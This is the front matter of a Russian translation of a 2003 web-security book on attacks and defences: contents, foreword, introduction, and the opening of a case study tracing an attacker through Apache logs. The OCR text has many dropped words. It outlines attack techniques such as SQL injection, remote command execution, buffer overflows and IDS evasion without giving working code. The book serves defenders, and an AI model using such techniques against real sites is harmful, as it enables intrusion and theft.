/
Автор: Мак-Клар С.
Теги: компьютерные технологии программирование защита данных
ISBN: 5-8459-0439-0
Год: 2003
Текст
АТАКИ и ЗАЩИТА
•
ATTACKS and DEFENCE
STUART McCLURE
SHAH
A
TT
Boston • San Francisco • New York • Toronto • Montreal
London • Munich • Paris • Madrid
Capetown • Sydney • Tokyo • Singapore • Mexico City
АТАКИ и ЗАЩИТА
СТЮАРТ МАК КЛАР
ШАХ
ШРИРАЙ ШАХ
Москва • Санкт Петербург • Киев
2003
ББК 32.973.26 018.2.75
М15
Издательский дом "Вильяме"
Зав. редакцией Я. Тригуб
Перевод с английского Е. Н. Василенко, Т. В.
иА.Ю.
Под редакцией А. Ю. Шелестова
По общим вопросам
в Издательский дом
по адресу:
info@williamspublishing.com, http://www.williamspublishing.com
Мак Клар, Стюарт, Шах,
Шах, Шрирай.
М15 Хакинг в Web: атаки и зашита : Пер. с англ.
--- М. : Издательский дом
"Вильяме", 2003. --- 384 с. : ил. ---
тит. англ.
ISBN 5 8459 0439 0 (рус.)
Эта книга является полным справочником, в котором содержится самая по
следняя информация об атаках в Web и защите от них. Эксперты в области обес
печения безопасности Стюарт
(ведущий автор серии книг Секреты ха
а также Саумил Шах и Шрирай Шах предлагают описание большого ко
личества атак и способов защиты. К рассматриваемым в книге технологиям
относятся языки для создания Web приложений, протоколы, серверы баз данных
и Web серверы, а также подсистемы обработки платежей и выбора товаров. Кро
ме того, здесь обсуждаются серьезные
связанные с адресами
Авто
ры книги показывают, как провести линию между отдельными точками, т.е. как
соединить отдельные этапы атак вместе, реализовав таким образом оптимальную
против них. Удачно изложенный материал и последовательное описание
проверенных методов анализа помогут защититься от потенциальной угрозы на
рушения безопасности и атак взломщиков.
Как начинающие, так и опытные читатели смогут лучше понять природу атак
в Web и получат новые знания в области защиты от подобных атак.
ББК 32.973.26 018.2.75
Все названия программных продуктов являются зарегистрированными торговыми марками
соответствующих фирм.
Никакая часть настоящего издания ни в каких целях не может быть воспроизведена в какой
бы то ни было форме и какими бы то ни было средствами, будь то электронные или механиче
ские, включая фотокопирование и запись на магнитный носитель, если на это нет письменного
разрешения издательства Addison Wesley Publishing Company, Inc.
Authorized translation from the English language edition published by Addison Wesley Publishing
Company, Inc., Copyright © 2003 by Pearson Education, Inc.
All rights reserved. No part of this book may be reproduced or transmitted in any form or by any
means, electronic or mechanical, including photocopying, recording or by any information storage re
trieval system, without permission from the Publisher.
Russian language edition published by Williams Publishing House according to the Agreement with
Enterprises International, Copyright © 2003
ISBN 5 8459 0439 0 (рус.)
© Издательский дом "Вильяме", 2003
ISBN 0 201 76176 9 (англ.)
© Pearson Education, Inc., 2003
Оглавление
Введение
16
Часть I. Будни электронной коммерции
21
Глава 1. Языки программирования для Web: Вавилон XXI столетия
28
Глава 2. Web серверы и серверы баз данных
58
Глава 3. Выбор товаров и обработка платежей
86
Глава 4. Хакинг протоколов HTTP и
106
Глава 5. URL: оружие хакера в Web
Часть II. Секреты URL
137
Глава 6. За кулисами Web сервера
140
Глава 7. Читая между строк
162
Глава 8. Анализ связей Web узла
178
Часть III. Как они это делают
197
Глава 9.
200
Глава 10. Кражи в электронных магазинах
222
Глава Доступ к базам данных
246
Глава 12. Java: удаленное выполнение команд
255
Глава 13. Перевоплощение
272
Глава 14. Переполнение буфера "на лету"
289
Часть IV. Приемы фу в Web
301
Глава 15. Хакинг в Web: средства автоматизации
303
Глава 16. Вирусы черви
.
325
Глава 17. Обход систем IDS
333
Приложение А. Перечень портов, прослушиваемых серверами баз
данных и Web серверами
349
Приложение Б. Методы и определения полей протоколов
и
351
Приложение В. Удаленное выполнение команд
355
Приложение Г. Раскрытие исходного кода, файлов и каталогов
357
Приложение Д. Ресурсы и ссылки
363
Приложение Е. Средства оценки Web приложений
365
Предметный указатель
367
Содержание
Предисловие
14
Введение
16
"Мы в безопасности: у нас есть брандмауэр"
17
Человек склонен ошибаться
17
Надписи на стене
17
Структура книги
Части
18
Главы
19
Несколько заключительных замечаний
20
Благодарности
20
Соавтор
20
Часть I. Будни электронной коммерции
21
Случай из жизни: Web узел компании Acme Art, Inc. взломан!
22
Глава Языки программирования для Web: Вавилон XXI столетия
28
Введение
29
Языки Web
29
HTML
30
Динамический HTML (DHTML)
32
XML
32
XHTML
33
Perl
33
PHP
36
ColdFusion
38
Страницы ASP
40
CGI
44
Java
48
Использование Java на сервере
53
Резюме
57
Глава 2. Web серверы и серверы баз данных
58
Введение
59
Web серверы
59
Сервер Apache
59
Internet Information Server компании Microsoft
63
Серверы баз данных
70
Microsoft SQL Server
72
Oracle
78
Резюме
85
Глава 3. Выбор товаров и обработка платежей
86
Введение
87
Эволюция торгового зала
88
Электронная коммерция
90
Подсистемы выбора товаров
б
Содержание
Назначение и время жизни электронной торговой тележки
Сбор, анализ и сравнение выбранных товаров
92
Отслеживание общей стоимости
92
Изменение решения
92
Оформление покупки
92
Реализация электронной тележки
93
Каталог товаров
94
Управление сеансами
94
Интерфейс с базой данных
95
Взаимодействие с платежной подсистемой
95
Примеры неудачно реализованных подсистем выбора товаров
95
Электронная тележка Carello
95
Электронная тележка DCShop
95
Электронная тележка от Hassan Consulting
96
Некоторые другие электронные тележки
96
Обработка платежей
96
Окончательное оформление заказа
96
Форма оплаты
97
Проверка подлинности и защита от мошенничества
97
Выполнение заказа и оформление торгового чека
97
Общие сведения о подсистеме обработки платежей
97
Страница подтверждения заказа
99
Интерфейс системы обработки платежей финансового учреждения
99
Интерфейс базы данных транзакций
100
Пример взаимодействия с системой обработки платежей финансового
учреждения
100
Проблемы реализации подсистемы обработки платежей
103
Интеграция
103
Временная информация
103
Протокол SSL
103
Хранение профилей пользователей
104
PayPal --- электронные платежи, доступные каждому
104
Резюме
105
Глава 4.
протоколов HTTP и
106
Введение
107
Протоколы Web
HTTP
107
HTTPS (HTTP поверх SSL)
114
Резюме
Глава 5. URL: оружие хакера в Web
Введение URL
119
и передача параметров
Кодирование URL
122
Метасимволы
123
Использование в строке URL специальных символов
124
Стандарт кодирования Unicode
125
Неправильное использование кода URL
126
Изъян Unicode
126
Изъян двойного или избыточного декодирования
Формы HTML
129
Содержание
7
Анатомия формы HTML
130
Элементы ввода данных
131
Передача параметров с помощью методов GET и POST
132
Резюме
136
Часть II. Секреты URL
137
Случай из жизни: исследование подступов к корпоративным сокровищам
Глава 6. За кулисами Web сервера
140
Введение
141
Компоненты Web приложений
141
Внешний Web сервер
142
Среда выполнения Web приложения
143
Сервер баз данных
Взаимодействие компонентов
144
Собственная среда обработки приложений
Надстройки и API функции Web сервера
144
Отображение URL адресов и внутреннее перенаправление
145
Перенаправление к внутреннему серверу приложений
146
Примеры
146
Доступ к базам данных
150
Использование собственных API функций базы данных
Примеры
151
Использование стандарта ODBC
151
Использование JDBC
152
Специализированные серверы Web приложений
152
Идентификация компонентов Web приложения с помощью URL адресов
Основы идентификации
153
Примеры
154
Дополнительные примеры
156
Дополнительные методы идентификации
158
Примеры
158
Идентификация серверов баз данных
160
Контрмеры
160
Правило 1. Минимизация информации в HTTP заголовке
160
Правило 2. Предотвращение отправки броузеру сообщений об ошибке 161
Резюме
161
Глава 7. Читая между строк
162
Введение
163
Утечка информации через код HTML
163
Что скрывают броузеры
Netscape Navigator --- команда
Source
164
Internet Explorer команда
165
Где искать информацию
Комментарии HTML
166
История внесения изменений
167
Подробности о разработчике или авторе
Связь с другими частями Web приложений
Заметки
168
Комментарии серверов Web приложений
168
Старый закомментированный код
Внутренние и внешние гиперссылки
8
Содержание
Адреса электронной почты и имена пользователей
170
Спэм
170
Ключевые слова и дескрипторы <meta>
170
Скрытые поля
171
Клиентские сценарии
172
Приемы автоматического просеивания кода
172
Sam Spade, Black Widow и
Pro
176
Резюме
177
Глава 8. Анализ связей Web узла
178
Введение
.
179
Анализ связей и язык HTML
Методология анализа связей
180
Этап исследование Web узла
Исследование узла вручную
Несколько слов о заголовке HTTP ответа
Некоторые популярные средства, предназначенные для анализа связей 182
Заключительные замечания
185
Этап 2: выделение в структуре приложения отдельных логических групп
Заключительные замечания
190
Этап 3: анализ каждого
190
Анализ расширений
190
2. Анализ адресов URL
191
3. Анализ сеансов
4. Поиск форм
192
5. Идентификация
и объектов
192
6. Поиск клиентских сценариев
193
7. Анализ комментариев и адресов электронной почты
193
Заключительные замечания
193
Этап 4: инвентаризация Web ресурсов
194
Резюме
195
Часть III. Как они это делают
197
Случай из жизни: как Борис помог Анне достать необходимые материалы 198
Глава 9.
200
Введение
201
Взлом Web узла компании Defacing Acme Travel, Inc.
201
Составление схемы сети
203
Тонкости использования proxy серверов
203
Подбор паролей, используемых в процессе HTTP аутентификации
207
Просмотр каталогов
209
Загрузка модифицированных страниц
Какие ошибки были допущены
215
Программы подбора паролей HTTP
216
Brutus
216
4.0
216
Контрмеры против взлома Web узла компании Acme Travel, Inc.
219
Отключение реверсивного перенаправления
219
Использование более надежных паролей
219
Отключение режима просмотра каталогов
220
Резюме
220
Содержание
Глава 10. Кражи в электронных магазинах
222
Введение
223
Структура электронного магазина
223
Торговый зал
225
Электронная торговая тележка
225
Пункт оплаты
225
База данных
225
Объединение всех элементов
225
Эволюция электронных магазинов
225
Кражи в электронном магазине компании Acme Fashions, Inc.
227
Установка электронного магазина компании Acme Fashions
227
Поиск проблемы
228
Обход проверки данных в клиентской части приложений
235
Усовершенствование узла www.acme fashions.com
238
В обновленной системе новая проблема
239
Заключительные замечания
244
Резюме
245
Глава Доступ к базам данных
246
Введение
247
Взлом Web узла компании по продаже подержанных автомобилей
249
Проверка входных данных
249
Контрмеры
253
Резюме
254
Глава 12. Java: удаленное выполнение команд
255
Введение
256
Технологии, основанные на Java
257
Архитектура серверов приложений Java
257
Атака на Java Web Server
258
Обнаружение изъянов на серверах приложений Java
259
Пример: компания по продаже акций
260
Вызов
262
Контрмеры
269
Зашита сервера Java Web Server
269
Другие основные контрмеры
270
Резюме
271
Глава 13. Перевоплощение
272
Введение
273
Перехват сеансов: похищение чужого облика и сорванное свидание
273
7:00, 5 марта, квартира Алисы
273
8:30, офис Алисы
275
10:00, рабочее место Боба
275
рабочее место Боба
277
12:30, рабочее место Алисы
280
21:30, в итальянском ресторане
280
Перехват сеансов
280
Заключительные замечания об атаке, направленной на перехват сеанса
Диаграммы состояний приложения
282
Протокол HTTP и отслеживание сеансов
283
Приложения с сохранением состояния и без сохранения состояния
284
Данные cookie и скрытые поля
286
10
Содержание
Cookie
286
Скрытые поля
287
Реализация механизмов отслеживания сеансов и сохранения состояний
287
Идентификаторы сеансов должны быть уникальными
287
Идентификаторы сеансов должны быть сложными
287
Идентификаторы сеансов должны быть независимыми
288
Идентификаторы сеансов должны быть связаны с клиентскими
соединениями
288
Резюме
288
Глава 14. Переполнение буфера "на лету"
289
Введение
290
Пример
290
Переполнение буфера
291
Простейшее переполнение буфера
291
Пример переполнения буфера
295
Контрмеры
300
Резюме
300
Часть IV. Приемы фу в Web
301
Случай из жизни
302
Глава 15.
в Web: средства автоматизации
303
Введение
304
Netcat
304
Whisker
306
Подбор паролей "в лоб"
307
Brutus
309
Achilles
312
Cookie Pal
314
Pro
322
Рекомендации по обеспечению безопасности
.
323
Резюме
324
Глава 16. Вирусы черви
325
Введение
326
Червь Code Red
326
26 января 2000 года
326
18 июня 2001 года: первое нападение
326
июля 2001 года
19 июля 2001 года
4 августа 2001 года
328
Червь
330
18 сентября 2001 года
330
Еще несколько, замечаний
331
Реакция и контрмеры
331
Резюме
332
Глава 17. Обход систем IDS
333
Введение
334
Общие сведения о системах IDS
334
Сетевые IDS
334
IDS
335
Содержание
Точность IDS
335
Обход систем IDS
336
"Безопасный"
--- атаки с использованием протокола SSL
336
Пример
337
атак посредством протокола SSL
338
Выявление вторжений через SSL
339
Анализ трафика SSL
340
Полиморфные адреса URL
342
кодирование
343
Избыточное шифрование или недопустимое кодирование символов в
формате Unicode
343
Добавление фиктивных путей
344
Вставка строк /./
344
Использование в пути нестандартных символов разделителей
345
Использование нескольких символов /
345
Одновременное использование различных подходов
345
Генерация ложных сообщений
346
Потенциальные контрмеры
347
Декодирование SSL
347
Декодирование адресов URL
348
Резюме
348
Приложение А. Перечень портов, прослушиваемых серверами баз
данных и Web серверами
349
Приложение Б. Методы и определения полей протоколов
и
351
Приложение В. Удаленное выполнение
355
Приложение Г. Раскрытие исходного кода, файлов и каталогов
Приложение Д. Ресурсы и ссылки
363
Приложение Е. Средства оценки Web приложений
365
Предметный указатель
367
12
Содержание
Моим близким: ваша беспрецедентная поддержка делает все возможным.
Стюарт Мак Клар (Stuart
Эта книга посвящается дорогому
(Rajalbhai)
за его мудрое руководство и любовь.
Шах
Shah)
Моей семье, моим друзьям и моей стране.
Шах
Shah)
•
Предисловие
В ваших руках книга, которая окажется важным источником информации при
обеспечении защиты наиболее критичных Web узлов и систем электронной
коммерции, представляющих собой самую важную часть современного электронного
бизнеса. Книга
в Web: атаки и защита основывается на практическом опыте
экспертов по вопросам обеспечения безопасности, которые помогут специалистам по
информационным технологиям и обеспечению безопасности успешно бороться
против нападений злоумышленников, рассматривающих Internet как наиболее
быстрый и эффективный способ воровства и достижения злонамеренных целей. Если
вы прочитаете эту книгу и примените полученные знания на практике, то бесчестные
люди будут крайне разочарованы, поскольку их наиболее хитрые трюки окажутся
бесполезными на вашем узле
Взломщикам потребуется намного больше
изобретательности и усилий, чтобы прорваться сквозь линию обороны ваших
приложений. Страницы этой книги заполнены ценными советами самых
добропорядочных хакеров,
проверенными консультантами компании
Foundstone.
Широко открытые глаза авторов просто слепнут в мире взломов Web узлов и
приложений. В книге обсуждаются некоторые наиболее разрушительные средства,
используемые
и взломщиками. В описанных случаях из жизни
и приведенных примерах представлены
детали атак. Благодаря этому
гораздо проще разобраться с разнообразными методами, которые используются "по ту
сторону баррикад". Контрмеры, которые необходимо предпринять для обеспечения
защиты, также приводятся с "клинической" точностью. Для предотвращения
воровства нужно узнать, где, когда и почему будет нанесен удар взломщиков, а также
где располагаются уязвимые места. Ответы на все эти вопросы вы сможете найти
благодаря подробным рекомендациям, приведенным в книге.
Книга Хакинг в Web содержит описание действий злоумышленников и ценные
сведения о том, как, когда, где и какие элементы Web узла могут подвергнуться атаке.
В ней сбалансированы точное и полное техническое описание с пояснениями,
которые помогут уловить важные концепции атак и соответствующих контрмер даже
недостаточно подготовленным читателям.
Зачастую книга производит просто шокирующее впечатление. Из нее вы узнаете, что
даже хорошо подготовленные разработчики и операторы Web узлов часто совершают
фатальные ошибки. Прочитав эту книгу, вы узнаете разнообразные способы,
с использованием которых можно организовать атаку на Web узел или
манипулировать его содержимым. Первый и наиболее важный шаг --- это принятие
самого факта реальности существующей угрозы, поскольку хорошо известно, что
предоставляет прекрасные возможности для взлома. Настоящая книга должна
помочь в осмыслении и защите приложений электронной коммерции от этих
глобальных рисков.
Главы книги насыщены многочисленными примерами, которые свидетельствуют
о том, что Internet --- чрезвычайно опасное место ведения коммерческой деятельности.
Когда виртуальные магазины попадают в поле зрения реальных преступников
даже незначительные ошибки (в используемых технологиях или
взаимосвязях между отдельными компонентами узла) могут привести к появлению
очень опасных изъянов. Последние исследования в рамках проекта Honeynet
14
Предисловие
доказывают, что недостаточно защищенный узел будет атакован
сразу же после появления в
Что еще хуже, коммерческие Web узлы с
опасными изъянами могут попасть в руки преступников, о которых, вполне
возможно, ничего так и не удастся узнать? Даже в случае их обнаружения для
правоохранительных органов они окажутся недосягаемыми. Нападению могут быть
подвержены и некоммерческие Web узлы, которые при выполнении незаконных
транзакций могут использоваться в качестве "перевалочного" пункта.
Мы живем в эпоху, напоминающую времена Дикого запада, когда зачастую
приходится просто выживать. Если традиционные законы не позволяют
предотвращать атаки, менеджеры по информационным технологиям вместе
с разработчиками и операторами Web узлов не могут полагаться на удачу при защите
своих информационных ресурсов. Знания --- это истинная сила. Поэтому вооружите
себя и свою компанию действенными рекомендациями лучших элитных хакеров.
В этой книге подробно описан план виртуального сражения, знание которого
позволяет выявить и ликвидировать опасность, связанную с захватом, подменой
неавторизованным доступом, изменением или разрушением Web узла.
Воспользуйтесь советами этих экспертов по вопросам безопасности, а затем спокойно
отдыхайте с мыслью о том, что вы и ваша компания выполнила свою часть работы по
снижению риска виртуального преступления.
Вильям С. (William С.
руководитель отдела информационной безопасности компании Motorola
Июль 2002
Предисловие
15
Правда одна, однако ошибки возникают достаточно часто. Люди отслеживают их и
делят на мелкие кусочки, надеясь обратить их в крупицы истины. Однако в конечном
счете всегда останется ошибка, просчет.
Рене Дюма
французский поэт, критик
"Мы в безопасности: у нас есть
брандмауэр"
Если бы мы получали от клиентов по монете каждый раз, когда произносили эту
фразу, то, возможно, нам не пришлось бы писать эту книгу. Мы спокойно лежали бы
на чистом белом песке какого нибудь острова вблизи испанского побережья
Если вы скептически относитесь ко всевозможным опасностям и полагаетесь на
свой брандмауэр, то знайте, что более 65% известных атак были выполнены через
TCP порт 80, обычный порт Web
Реальна ли угроза напа
дения из Internet? Вне всякого сомнения, слишком реальна.
Человек склонен ошибаться
При подготовке сотен обзоров по вопросам безопасности за последние десять лет
нам стало понятно, что нужно запомнить лишь один факт (если ранее вы еще этого
не сделали): ничто не может быть по настоящему безопасным. В основе каждого на
рушения безопасности лежит ошибка. Другими словами, человек склонен ошибаться.
Никакие брандмауэры, системы выявления вторжений (Intrusion Detection System ---
IDS) или антивирусные программы не смогут обеспечить необходимый уровень защи
ты. Возможно, подобное замечание к этой книге выглядит удивительным. Однако не
стоит удивляться. Эту суровую реальность нужно принять, прежде чем приступать к
изучению материала, предлагаемого в книге.
Итак, что же необходимо делать? Сложить руки и игнорировать Internet, модем и
компьютер? Конечно, можно так поступить, однако в этом случае вы останетесь на
едине со своими проблемами. Преимущества Internet и всех периферийных устройств
просто неоспоримы. Они позволяют повысить качество взаимодействия, совместного
использования информации, а также обеспечить связь с людьми всех рас, мировоз
зрений, любого цвета кожи, пола и любого интеллектуального уровня без каких бы то
ни было ограничений. И все эти преимущества доступны обычному пользователю до
машнего компьютера. Бизнесмены используют Internet двадцать четыре часа в сутки и
семь дней в неделю, зарабатывая деньги и перемещая их по всему миру. Любого, кто
спорит с
Internet, можно считать просто несмышленым младенцем.
Надписи на стене
Более трех лет назад один из авторов этой книги написал пророческую статью, которая
оказалась предвестником наступления нового времени. Она была напечатана 9 августа
1999 года и называлась Bane of e commerce:
secure: We allow only Web traffic through our
firewall (http://www.infoworld.com/articles/op/xml/99/08/09/990809opsecwatch.xml). В ста
тье говорилось о просчетах подсистем безопасности того времени. Однако никто не
хотел в это верить, и не желал об этом говорить. По видимому, все были слишком
уверены в разрекламированных технологиях,
как брандмауэры, системы выяв
ления вторжений (IDS) и виртуальные частные сети
Эти технологии считались
"внутренними", которые не имели никакого отношения к "магистральным" техно
логиям, таким, как инфраструктура открытого ключа (Public Key Infrastructure ---
среда распределенных
(Distributed Computing Environment --- DCE) и т.д.
Так почему же в настоящее время к Web и области обеспечения безопасности про
является такой интерес? Потому что в современном мире с многочисленными связя
ми все чаще становится известно о фактах
Люди начинают понимать, сколь
серьезно единственный изъян Web приложения может повлиять на степень
Введение
17
информационных систем различных компаний. Примерами таких изъянов
могут служить уязвимые места, которые в первую очередь подвергаются разрушитель
ной работе вирусов червей Code Red и Nimda.
Структура книги
Структура этой книги позволяет наилучшим образом усвоить предлагаемый мате
риал, продвигаясь от начальных сведений к основам, а затем к расширенным приемам
и концепциям. Для достижения этой цели книга разделена на четыре части, семна
дцать глав и приложения.
Части
.
• Часть I,
электронной коммерции".
• Часть II, "Секреты
• Часть III, "Как они это делают".
• Часть IV, "Приемы фу в Web".
Каждая часть последовательно усложняется как по своему содержанию, так и по
подачи материала, начиная с короткого обзора языков программирования для
Web (глава 1) и заканчивая реализацией переполнения буфера (глава 14). Не пытай
тесь ускорить процесс обучения. Если вы что то упустили, то можете либо вернуться
к этому месту, либо освоить это позже.
Части I и II дают начальное, а затем и более расширенное введение в мир World
Wide Web. В части I, "Будни электронной коммерции", описываются основные прин
ципы работы Web: используемые языки, приложения, базы данных, протоколы и син
таксис. В части II, "Секреты
подробно рассматривается структура адресов
URL, а также
какие их части особенно важны для взломщиков и как полученный
исходный код может облегчить задачу
Кроме того, из этой части
вы узнаете, как можно получить образ всего Web узла и почему такая возможность
чрезвычайно важна для
В части III, "Как они это делают", вы вплотную прикоснетесь к искусству
в Web а также узнаете, какие контрмеры позволяют защититься от этих атак. В гла
вах
описывается также и то, как с помощью простых действий в процессе разра
ботки можно устранить большую часть изъянов. Безусловно, эту часть можно назвать
наиболее творческой, поскольку в ней содержится ценнейшая информация о том, как
хакеры "делают" свою работу. В каждой главе содержится подробный анализ как са
мой атаки, так и контрмер, которые позволяют ее предотвратить.
, В части IV, "Приемы кунг фу в Web", обсуждаются некоторые дополнительные
концепции и методы хакинга в Web. Здесь вы узнаете о нескольких программных
средствах, знакомство с которыми просто нельзя пропустить.
И наконец, в конце книги можно найти приложения, в которых содержится пере
чень стандартных портов, используемых в Internet, фрагменты исходного кода, с ис
пользованием которого можно удаленно выполнять команды, описание приемов рас
крытия исходного кода, а также много другой полезной информации.
18
Введение
Главы
В части I, "Будни электронной коммерции", содержится пять глав.
• В главе "Языки программирования для Web: Вавилон XXI столетия", обсужда
ются все основные языки для Web, используемые в Internet в настоящее время.
• В главе 2, "Web серверы и серверы баз данных", рассматриваются технологии,
являющиеся основой Web, а также связанные с ними изъяны.
• Глава 3, "Выбор товаров и обработка платежей", знакомит с технологиями, со
ставляющими фундамент интерактивных подсистем выбора товаров ("торговых
тележек") и Web узлов электронной коммерции.
• Вглаве4,
протоколов HTTP и
обсуждаются два основных
управляющих всем трафиком электронной коммерции и Web.
• Вглаве5,
оружие хакера в Web", речь идет о том, как с помощью
анализа адреса URL можно получить о Web узле наибольшее количество
информации.
В части II, "Секреты
представлено три главы.
В главе 6, "За кулисами Web сервера", описываются основные компоненты
Web приложения, а также взаимосвязи между ними.
• В главе 7, "Читая между строк", обсуждается искусство раскрытия исходного
кода с использованием Web броузера или других средств.
• В главе 8, "Анализ связей Web узла", рассматривается, как провести инвента
ризацию Web узла и проанализировать приложение как единое целое, а на ос
нове полученной информации определить наилучший метод нападения.
Часть III, "Как они это делают", состоит из шести глав.
• Вглаве9,
рассматривается, как взломщики могут подменить
содержимое Web узла и какие приемы и хитрости для этого можно использовать.
• Глава 10, "Кражи в электронных магазинах", содержит информацию о том, как
злоумышленники могут осуществить кражу в электронном магазине, т.е.
"обмануть" Web приложение и оплатить товар по более низкой цене.
• В главе И, "Доступ
данных", описываются способы проникновения в
Web приложения через базу данных.
• Из главы 12, "Java: удаленное выполнение команд", станет понятно, как для
проникновения в систему можно воспользоваться средствами Java.
• В главе 13, "Перевоплощение", обсуждается, как взломщик может выдать себя
за другого пользователя.
• В главе 14, "Переполнение буфера "на лету", рассматривается, как определить
уязвимость приложения к переполнению буфера, а затем его реализовать.
В части IV, "Приемы фу в Web", содержится три завершающих главы.
• В главе 15, "Хакинг в Web: средства автоматизации", обсуждаются различные
средства и приемы, которые могут использоваться взломщиками
автомати
зации выполнения своих действий.
• В главе 16, "Вирусы черви", рассматриваются смертоносные вирусы черви, а
также способы их создания, распространения и удаления.
• В главе 17, "Обход систем IDS", содержится информация о том, как взломщика
можно обнаружить с использованием системы выявления вторжений (IDS).
Введение
19
Несколько заключительных замечаний
Эта книга представляет собой как введение в
так и подробный анализ ми
ра Web хакера. В то же время авторам очень хотелось, чтобы ее было просто читать,
т.е. чтобы вы не использовали ее в качестве нового средства от бессонницы. В идеале
книгу нужно прочитать от начала до конца. Даже если вы обладаете базовыми зна
ниями в области обеспечения безопасности и Web технологий, у вас не должно воз
никнуть никаких проблем. В этом случае можно сразу перейти к главам из частей II,
"Секреты
и III, "Секреты
Изъяны всегда будут существовать в любой среде, однако мы надеемся, что все,
кто в настоящее время использует Web и Internet, опомнятся, выпьют чашечку аро
матного кофе, а затем исправят допущенные ошибки. В противном случае всеми об
наруженными изъянами сразу же воспользуется хакер.
Благодарности
Над созданием этой книги трудилось множество людей, каждый из которых внес
свой неоценимый вклад. Но прежде всего хотелось бы выразить благодарность со
трудникам издательства
Их руководство и настойчивость на протяже
нии всей работы над этой книгой достойны самой высокой похвалы. Большое уваже
ние и признательность хочется выразить также преданным своему делу профессиона
лам из компании Foundstone. Объединенные в этой компании специалисты
продолжают выполнять свою работу, которая вызывает неподдельное восхищение.
Мы приветствуем работу исследователей в области безопасности в промышленно
сти, с которыми нам посчастливилось познакомиться (каждый знает, что он представ
ляет собой на самом деле). Мы благодарны также нашим друзьям из индийской ком
пании
которые участвовали в исследованиях и обсуждении многих вопро
сов, нашедших отражение в этой книге.
Наконец, отдельное спасибо хотелось бы сказать Барнаби Джеку
Jack) за
его вклад в эту книгу.
Соавтор
Барнаби Джек (Barnaby Jack) работает исследователем и инженером разработчиком
в компании Foundstone, где он специализируется на исследовании изъянов и разра
ботке утилит взлома. До этого он работал инженером в группе исследователей
COVERT компании Network Associates.
За многие годы он хорошо изучил внутреннюю архитектуру операционных систем,
уделяя основное внимание семейству Windows, в частности системе Windows NT. Он
занимается глубокими исследованиями в области методов взлома Windows. При этом
ссылки на его статьи можно найти во многих серьезных изданиях.
20
Введение
ЧАСТЬ I
Случай из жизни: Web узел компании
Acme Art, Inc. взломан!
октября 2001 года оказалось плохим днем для нового Web узла компании Acme
Art w w w .ac m e art.c om . Взломщик похитил номера кредитных карточек из базы данных
интерактивного магазина компании и разместил их в группе новостей Usenet. Элек
тронные средства передачи информации работали быстро и безжалостно, и в течение
нескольких часов компания потеряла сотни тысяч долларов заказов, приобрела
плохую репутацию, но самое главное в том, что теперь ей придется снова накапливать
капитал. Руководитель информационный службы компании озадачен. Где была допу
ошибка в процессе очередной проверки безопасности системы? Казалось, все
в порядке. Брандмауэры блокировали весь трафик, за исключением портов 80 и 443.
Подробно расследуя инцидент, группа экспертов обнаружила в системном журнале
Web сервера следующие данные:
Group (a)
10.0.1.21
[31/0ct/2001:03:02:47
"GET / HTTP/1.0" 200 3008
10.0.1.21
+0530] "GET
HTTP/1.0" 200 3452
10.0.1.21
[31/0ct/2001:03:02:47 +0530] "GET
HTTP/1.0" 200 8468
10.0.1.21
[31/0ct/2001;03:02:47 +0530] "GET
HTTP/1.0" 200 6912
10.0.1.21
[31/0ct/2001:03:02:47 +0530] "GET
HTTP/1.0" 200 7891
Group (b)
10.0.1.21
[31/0ct/2001:03:03:13 +0530] "GET
HTTP/1.0" 200 610
10.0.1.21
[31/0ct/2001:03:03:13 +0530] "GET /falls.jpg HTTP/1.0" 200 52640
10.0.1.21
[31/0ct/2001:03:03:18 +0530] "GET
HTTP/1.0" 200 652
10.0.1.21
[31/0ct/2001:03:03:18 +0530] "GET /tahoel.jpg HTTP/1.0" 200 36580
Group (c)
10.0.1.21
[31/0ct/2001:03:03:41 +0530] "GET /cgi bin/ HTTP/1.0" 403 272
Group
10.0.1.21
[31/0ct/2001:03:04:10 +0530] "GET
HTTP/1.0" 200 3008
10.0.1.21
[31/0ct/2001:03:05:31 +0530] "GET
HTTP/1.0" 200 358 .
Group
10.0.1.21
[31/0ct/2001:03:06:21 +0530] "GET
HTTP/1.0" 200 723
Group (f)
10.0.1.21
[31/0ct/2001:03:07:01 +0530] "GET
HTTP/1.0" 200 1228
10.0.1.21
[31/0ct/2001:03:17:29 +0530] "GET
HTTP/1.0" 200
Рассмотрим, как эксперты расследовали инцидент. Узел
работал
под управлением сервера Apache
в системе Linux. Для реализации и запуска
интерактивного магазина программисты компании использовали
на
языке
Записи из системного журнала свидетельствуют о том, что атака нача
лась с узла
В 3: 0 2 A . M . взломщик приступил к просмотру содержимого узла.
Пять первых записей файла журнала (Group
показывают, что он просматривал
главную страницу и несколько изображений, содержащихся на ней.
10.0.1.21
[31/0ct/2001:03:02:47 +0530] "GET / HTTP/1.0" 200 3008
10.0.1.21
[31/0ct/2001:03:02:47 +0530] "GET /
HTTP/1.0" 200 3452
10.0.1.21
[31/0ct/2001:03:02:47 +0530] "GET
HTTP/1.0" 200 8468
22
Часть I
10.0.1.21
[31/0ct/2001:03:02:47 +0530] "GET /th
HTTP/1.0" 200 6912
10.0.1.21
[31/0ct/2001:03:02:47 +0530] "GET
HTTP/1.0" 200 7891
На рис. 1 показано, что можно было бы увидеть на экране, проследив за переме
щениями взломщика.
Следующие четыре строки (Group свидетельствуют о том, что взломщик щелк
нул на паре ссылок, содержащихся на главной странице.
10.0.1.21
[31/0ct/2001:03:03:13 +0530] "GET
HTTP/1.0" 200 610
10.0.1.21
[31/0ct/2001:03:03:13 +0530] "GET /falls.jpg HTTP/1.0" 200 52640
10.0.1.21
[31/0ct/2001:03:03:18 +0530] "GET
HTTP/1.0" 200 652
10.0.1.21
[31/0ct/2001:03:03:18 +0530] "GET
HTTP/1.0" 200 36580
На рис. 2 показано, что должен был бы увидеть хакер при щелчке на гиперссылке
Golden
in oil главной страницы Web узла компании Acme Art.
В данный момент трудно определить намерения взломщика, поскольку пока он не
сделал ничего необычного. Возможно, он просто искал что нибудь интересное. Сле
дующая запись свидетельствует о том, что взломщик попытался получить доступ к ка
талогу /cgi bin/ и посмотреть, что в нем находится (Group
to
fee
1
paintings to
Click
on
to
we
your
in
to
in
$750
1
Главная страница Web узла компании Acme Art
Сервер отклонил этот запрос, поскольку в журнале зарегистрирована ошибка 403
протокола HTTP.
10.0.1.21
[31/0ct/2001:03:03:41 +530] "GET /cgi bin/ HTTP/1.0" 403 272
Взломщик продолжает перемещаться по Web узлу. Кажется, он понял свою
ошибку. Сначала он быстро анализирует URL адрес
а затем формирует запрос
следуя шаб
лону передачи параметров (Group
На рис. 3 показано, что он увидел в окне
своего броузера.
Будни электронной коммерции
2.
щелчка на ссылке
В броузере отображен исходный код сценария
Взломщик видит, что
сценарий
